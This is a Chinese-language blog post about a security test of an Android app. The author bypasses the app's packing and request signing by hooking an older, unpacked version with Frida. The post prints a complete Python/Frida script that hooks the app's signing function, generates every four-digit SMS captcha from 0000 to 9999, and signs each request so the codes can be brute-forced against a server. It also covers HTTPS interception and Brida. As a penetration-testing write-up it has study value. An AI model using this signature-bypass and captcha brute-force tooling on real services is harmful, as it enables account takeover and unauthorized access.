记一次apk检测

之前在日一个APP。去官网下apk回来,手机运行,发现走的https协议,请求带有一个签名参数,修改请求会导致签名不对无法通过验证。签名是40位的,看起来像是sha1
Inspeckage,在log里也没发现与请求相关的hash函数。

拖到jeb里,发现加壳了。粗略看了下应该是梆梆的壳,渣渣如我根本不会脱壳。找大佬帮忙脱壳,却发现签名算法是放在native里的。。
硬着头皮把so拖到ida里,却发现整个so的结构非常奇怪,没有JNI_OnLoad,导出表里的函数对应位置也不对。应该还是壳的问题,把so也加固了。
adb shell到手机上,发现有好几个此apk的进程,从其中一个进程里的maps里找到加载这个so的地址,想直接dd出来,却发现一但dd进程就会退掉。。
尝试挂上ida远程调试,却发现无论如何也attach不上这个进程,猜测可能是被它的父进程ptrace了 = = 杀掉父进程这个子进程也就退出了。。
然后尝试直接hook脱壳后java里的一些方法,也不能hook到。想直接调用so,由于连JNI_OnLoad都没有,看起来也不像能直接调用的样子。
作为一个web狗碰到这些,在心里不知道念了多少次mdzz了。。

总而言之,加密算法在so里,java里有一个封装的调用入口。要么逆so,要么想办法hook到java里的方法。现在来看,两种都不能实现。

面对这种艰难的情况,接下来的思路其实还有两个。
要么搞iOS上ipa,ipa基本上是没有加壳的,只不过逆向起来非常恶心。找了台越狱的iPhone,砸壳后拖到hopper里,签名的函数倒是很好找,至于逆向算法,已经远远超出我的能力范围了。。用frida来hook,一些参数死活打不出来。。
要么找老版本apk,老版本可能还没有被加壳。搜啊搜,还真搜到了一个没加壳并且还能用的老版apk。没加壳的版本就可以愉快的hook了。

这个apk走https的流量无法被burpsuite抓到,应该是自带了证书。可以选择重打包apk替换掉里面的证书,或者强行把https的url改成http的。
我在搞的时候用了一个叫ssl_logger的小脚本来辅助抓取https的请求和响应。

这是基于frida的一个hook脚本,需要手机上运行frida-server,并且需要电脑上frida版本与frida-server版本一致。

接下来就是继续用frida来hook签名函数,实现给自己的请求签名。

第一个测试目标是检测手机验证码是否能进行爆破。
编写脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import frida
import sys
from urllib import quote
import requests
body = ''
def data2body(data):
p = data.strip('{').strip('}').split(', ')
body = ''
for i in p:
t = i.split('=', 1)
body += t[0] + '=' + quote(t[1]) + '&'
return body
def on_message(message, data):
global body
try:
if message:
if 'captcha' in message["payload"]:
body = data2body(message["payload"])
else:
body += 'si=%s'%message["payload"]
url = 'https://5alt.me/checkcode'
headers = {'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8'}
#r = requests.post(url, body, headers=headers).text
print body
print r
if not '"errcode":769' in r:
print '-'*20
print body
print r
print '-'*20
#print("[*] Received data: {0}".format(message["payload"]))
except Exception as e:
print(message)
print(e)
def run_frida_script():
frida_script_code = """
function genAllNumber(start, end){
var output = [], n, padded;
for (n=start; n<=end; n++) {
padded = ('000'+n).slice(-4); // Prefix three zeros, and get the last 4 chars
output.push(padded);
}
return output;
}
Java.perform(function () {
// Function to hook is defined here
var sig = Java.use('me.5alt.signature.a');
sig.b.overload("java.util.Map", "java.lang.String", "boolean").implementation = function (a, b, c) {
output = genAllNumber(0, 9999)
for(i in output){
a.put('captcha', output[i])
var timestamp = Date.parse(new Date());
timestamp = parseInt(timestamp / 1000);
a.put('tm', String(timestamp))
send(a.toString())
retval = this.b(a,b,c);
send(retval)
}
return retval;
};
});
"""
print "[*] Executing following code:\n" + frida_script_code
return frida_script_code
if __name__ == '__main__':
session = frida.get_usb_device().attach("me.5alt")
script = session.create_script(run_frida_script())
script.on('message', on_message)
script.load()
sys.stdin.read()

脚本非常简单粗暴,生成0000到9999的验证码,调用java的函数产生签名,然后发送出来交给python发请求探测。
服务器会检查timestamp,因此需要重新生成。手机上点一下提交即可触发。

这样用起来还不是很直观,总不能每发请求都得去手机上点一下。这时候想起来Brida,可以把frida和burpsuite结合起来,在burpsuite里直接调用apk里的函数进行签名。

Brida的用法就不啰嗦了,已经有详细的教程了。需要说明的是,必须得在Brida里开启server,并且spawn application,否则无法调用。本地修改完js之后记得reload一下,即刻生效。
Brida里有个Execute Method,可以调用js里面定义的函数。这里执行和右键菜单中的Brida Custom 1的参数是不一样的。Brida Custom 1获取的参数是hex形式的,需要先解码才能用,同样,Brida Custom 1的返回需要先hex编码之后再return。

在写js的时候遇到了一些坑。。
js里的unescape/decodeURIComponent/decodeURI函数都不能把+解码成空格,我选择了手动替换的方式。
另外在js里调用java里的类相当于用反射的方式来操作,Map这个类我死活实例化不出来,于是只能找了个返回Map类型的方法调用一下来获得一个Map对象。

最后附上Brida用的脚本

参考资料

https://www.frida.re/docs/android/
http://bobao.360.cn/learning/detail/4209.html
http://www.ninoishere.com/frida-learn-by-example/
https://github.com/antojoseph/frida-android-hooks
https://11x256.github.io/
https://github.com/5alt/ssl_logger

分享到 评论